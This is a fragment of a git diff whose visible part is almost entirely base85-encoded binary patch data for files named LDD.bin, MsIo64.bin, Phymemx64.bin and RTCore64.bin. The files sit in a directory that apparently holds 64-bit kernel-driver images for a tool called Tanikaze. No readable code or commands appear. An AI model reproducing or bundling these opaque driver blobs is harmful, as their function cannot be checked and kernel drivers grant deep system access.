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 dRJi-V&iyiM8GyuB1rl@M!Gj;YTs_mhR~x0* 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 o7cF#mm3k@~ literal 0 HcmV?d00001 diff --git a/Source/Tanikaze/drv/LDD.bin b/Source/Tanikaze/drv/LDD.bin index 6e2f2c1a8c116ca750951d3e34df1ed0a4a7426c..ce2f580148bba86863c239c8925803e8193b4bee 100644 GIT binary patch delta 21 dcmaE`it)iJMy?GF8_e}1C5;xBZ{!LK1psGa2#Wv! delta 21 dcmaE`it)iJMy?GF8_fBm^A2pT*~k?Z3IJ_431t8P diff --git a/Source/Tanikaze/drv/MsIo64.bin b/Source/Tanikaze/drv/MsIo64.bin index a15e6f2fbfc568381de9ac2a49570447e1249485..8ef38b5022ecde9bc75cf5a4317677f7478c9aa1 100644 GIT binary patch delta 19 bcmey8`z4oaL&FAhd6!?ti_151y)pv;WDp5y delta 19 bcmey8`z4oaL&FC1|LVsMZm!wL^~wwYZiWh* diff --git a/Source/Tanikaze/drv/Phymemx64.bin b/Source/Tanikaze/drv/Phymemx64.bin index d6301ddb90682e268b75fc7de9bac5798fc3aa8b..51f97a9fad1b04f8026869d274aab77e0549e271 100644 GIT binary patch delta 19 bcmdm-vpI)rL&FAh|G4kQi_151X_^55TlxrV delta 19 bcmdm-vpI)rL&FAh|ANB@H`i?B(li4AUsnk1 diff --git a/Source/Tanikaze/drv/RTCore64.bin b/Source/Tanikaze/drv/RTCore64.bin index 